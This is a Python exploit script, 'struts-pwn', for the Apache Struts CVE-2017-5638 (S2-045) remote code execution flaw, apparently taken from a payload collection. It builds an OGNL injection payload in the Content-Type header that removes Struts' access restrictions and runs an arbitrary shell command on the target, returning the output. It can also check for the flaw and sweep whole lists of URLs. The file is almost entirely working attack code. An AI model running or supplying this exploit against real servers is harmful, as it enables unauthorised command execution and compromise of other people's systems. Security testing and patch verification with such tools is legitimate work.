PayloadsAllTheThings/CVE Shellshock Heartbleed Struts2/Apache Struts2.py

#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://www.exploit-db.com/exploits/41570/
# https://www.seebug.org/vuldb/ssvid-92746
# *****************************************************
import sys
import random
import requests
import argparse

# Disable SSL warnings
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except:
    pass

if len(sys.argv) <= 1:
    print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
    print('[*] Struts-PWN - @mazen160')
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
                    dest="url",
                    help="Check a single URL.",
                    action='store')
parser.add_argument("-l", "--list",
                    dest="usedlist",
                    help="Check a list of URLs.",
                    action='store')
parser.add_argument("-c", "--cmd",
                    dest="cmd",
                    help="Command to execute. (Default: id)",
                    action='store',
                    default='id')
parser.add_argument("--check",
                    dest="do_check",
                    help="Check if a target is vulnerable.",
                    action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_check = args.do_check if args.do_check else None


def url_prepare(url):
    url = url.replace('#', '%23')
    url = url.replace(' ', '%20')
    if ('://' not in url):
        url = str('http') + str('://') + str(url)
    return(url)


def exploit(url, cmd):
    url = url_prepare(url)
    print('\n[*] URL: %s' % (url))
    print('[*] CMD: %s' % (cmd))

    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    headers = {
        'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Content-Type': str(payload),
        'Accept': '*/*'
    }

    timeout = 3
    try:
        output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        output = 'ERROR'
    return(output)


def check(url):
    url = url_prepare(url)
    print('\n[*] URL: %s' % (url))

    random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))

    payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
    payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
    headers = {
        'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Content-Type': str(payload),
        'Accept': '*/*'
    }

    timeout = 3
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
        if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
            result = True
        else:
            result = False
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        result = False
    return(result)


def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
    if url:
        if do_check:
            result = check(url)  # Only check for existence of Vulnerablity
            output = '[*] Status: '
            if result is True:
                output += 'Vulnerable!'
            else:
                output += 'Not Affected.'
        else:
            output = exploit(url, cmd)  # Exploit
        print(output)

    if usedlist:
        URLs_List = []
        try:
            f_file = open(str(usedlist), 'r')
            URLs_List = f_file.read().replace('\r', '').split('\n')
            try:
                URLs_List.remove('')
            except ValueError:
                pass
                f_file.close()
        except:
            print('Error: There was an error in reading list file.')
            exit(1)
        for url in URLs_List:
            if do_check:
                result = check(url)  # Only check for existence of Vulnerablity
                output = '[*] Status: '
                if result is True:
                    output += 'Vulnerable!'
                else:
                    output += 'Not Affected.'
            else:
                output = exploit(url, cmd)  # Exploit
            print(output)

    print('[%] Done.')

if __name__ == '__main__':
    try:
        main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
    except KeyboardInterrupt:
        print('\nKeyboardInterrupt Detected.')
        print('Exiting...')
        exit(0)